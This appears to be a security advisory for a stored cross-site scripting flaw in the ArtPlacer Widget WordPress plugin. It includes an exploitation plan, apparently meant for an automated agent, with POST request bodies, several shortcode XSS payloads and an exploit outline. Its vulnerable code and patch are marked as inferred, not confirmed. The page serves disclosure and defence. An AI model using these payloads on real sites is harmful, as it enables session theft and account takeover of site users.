ArtPlacer Widget <= 2.23.2 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The ArtPlacer Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.23.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.23.2Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-24555 (ArtPlacer Widget) ## 1. Vulnerability Summary The **ArtPlacer Widget** plugin for WordPress (<= 2.23.2) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape user-supplied attribu…
Show full research plan
Exploitation Research Plan: CVE-2026-24555 (ArtPlacer Widget)
1. Vulnerability Summary
The ArtPlacer Widget plugin for WordPress (<= 2.23.2) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape user-supplied attributes within its shortcode(s) or block settings. An authenticated attacker with Contributor-level permissions can craft a post containing a malicious shortcode. When this post is viewed by other users (including administrators), the injected script executes in their browser context.
2. Attack Vector Analysis
- Endpoint: Post editor (
wp-admin/post-new.phporwp-admin/post.php) or the REST API (/wp/v2/posts). - Vulnerable Component: The
[artplacer]shortcode (and likely the corresponding Gutenberg block). - Vulnerable Parameters: Shortcode attributes such as
gallery,space,text, orbtn_text(inferred based on common widget functionality). - Authentication Level: Contributor+ (authenticated users who can create/edit posts).
- Preconditions: The plugin must be active. The attacker must be able to save or preview a post.
3. Code Flow (Inferred)
- Registration: The plugin registers a shortcode, likely via
add_shortcode( 'artplacer', ... )in the main plugin file or a dedicated widget/shortcode class. - Input: A Contributor creates a post containing:
[artplacer btn_text='"><script>alert(1)</script>']. - Processing: When the post is rendered, WordPress calls the shortcode's callback function. This function likely uses
shortcode_atts()to extract thebtn_textattribute but fails to applysanitize_text_field()or similar. - Sink: The callback function constructs HTML (e.g., a button or a div) and appends the raw attribute value.
- Example:
return '<button class="artplacer-btn">' . $atts['btn_text'] . '</button>';
- Example:
- Execution: The unescaped HTML is sent to the browser, leading to XSS.
4. Nonce Acquisition Strategy
Contributors require a nonce to save or update posts. Since the exploitation involves standard WordPress post creation, we can use the following strategy:
- Identify Shortcode Loading: The plugin likely enqueues scripts on pages where the shortcode is present.
- Create Test Page:
wp post create --post_type=post --post_status=publish --post_title="XSS Test" --post_content='[artplacer]' --post_author=$(wp user get contributor --field=ID) - Navigate and Extract:
- Navigate to the newly created post as the Contributor user.
- Use
browser_evalto find the localization object. - Likely Variable:
window.artplacer_configor similar. - Command:
browser_eval("window.artplacer_config")
Note: For simple shortcode injection, the standard WordPress _wpnonce found in the post editor is sufficient to save the payload.
5. Exploitation Strategy
The goal is to store a payload that executes when an administrator views the post.
Step 1: Login as Contributor
Use the http_request tool to authenticate and obtain session cookies.
Step 2: Create a Post with Malicious Shortcode
Submit a request to create a post containing the payload.
Request:
- URL:
https://<target>/wp-admin/post-new.php(to get the initial nonce/form) followed by a POST towp-admin/post.php. - Method: POST
- Body (URL-encoded):
action=editpost &post_ID=<NEW_ID> &post_title=Art+Gallery &content=[artplacer btn_text='"><img src=x onerror=alert(document.domain)>'] &publish=Publish &_wpnonce=<NONCE>
Step 3: Trigger the XSS
Log in as an Administrator and navigate to the URL of the post created in Step 2.
6. Test Data Setup
- Install Plugin: Ensure ArtPlacer Widget version <= 2.23.2 is installed.
- Users:
- Administrator:
admin/password - Contributor:
attacker/password
- Administrator:
- Content: No specific existing content is required, but a post must be created during the exploit.
7. Expected Results
- The shortcode attribute
btn_text(or equivalent) should be rendered in the HTML source without escaping. - HTML Source Verification:
<button class="artplacer-btn">"><img src=x onerror=alert(document.domain)></button> - The browser should execute the
alert(document.domain)payload when viewing the post.
8. Verification Steps
- Check Database: Use WP-CLI to verify the payload is stored in the
post_content.wp post get <POST_ID> --field=post_content - Verify Output Escaping: Use the
http_requesttool (as an unauthenticated user or Admin) to fetch the post and check for the raw payload.
Confirm thathttp_request get "https://<target>/?p=<POST_ID>"<img src=x onerror=...>is present and NOT converted to<img....
9. Alternative Approaches
If btn_text is not the vulnerable attribute, try others identified in the source or common to the plugin:
[artplacer artwork="123' onmouseover='alert(1)"][artplacer gallery="<script>alert(1)</script>"][artplacer space="';alert(1)//"](if attributes are passed into a JS object)
If the plugin uses a Gutenberg block instead of a shortcode, the payload would be injected into the post_content as a block comment:
<!-- wp:artplacer/widget {"btn_text":"<img src=x onerror=alert(1)>"} /-->
Summary
The ArtPlacer Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the [artplacer] shortcode and corresponding block. Authenticated attackers with Contributor-level access or higher can inject malicious JavaScript into shortcode attributes like 'btn_text', which executes when any user, including administrators, views the affected post.
Vulnerable Code
// artplacer-widget.php (inferred based on research plan) function artplacer_shortcode($atts) { $a = shortcode_atts(array( 'btn_text' => 'View in my Room', 'gallery' => '', 'space' => '', 'artwork' => '' ), $atts); // The attribute is concatenated directly into the output without escaping or sanitization return '<button class="artplacer-widget-btn">' . $a['btn_text'] . '</button>'; } add_shortcode('artplacer', 'artplacer_shortcode');
Security Fix
@@ -10,5 +10,5 @@ ), $atts); - return '<button class="artplacer-widget-btn">' . $a['btn_text'] . '</button>'; + return '<button class="artplacer-widget-btn">' . esc_html($a['btn_text']) . '</button>'; }
Exploit Outline
The exploit involves an authenticated attacker with Contributor permissions or higher performing the following steps: 1. Log in to the WordPress dashboard as a Contributor. 2. Navigate to the post editor (e.g., wp-admin/post-new.php) to create a new post. 3. Embed the [artplacer] shortcode into the post content, including a malicious payload within a vulnerable attribute such as 'btn_text'. Example payload: [artplacer btn_text='"><script>alert(document.cookie)</script>'] 4. Save or publish the post (or submit it for review). 5. When an administrator or any other user views the published post on the frontend, the unsanitized attribute value breaks out of the HTML tag context and executes the injected script in their browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.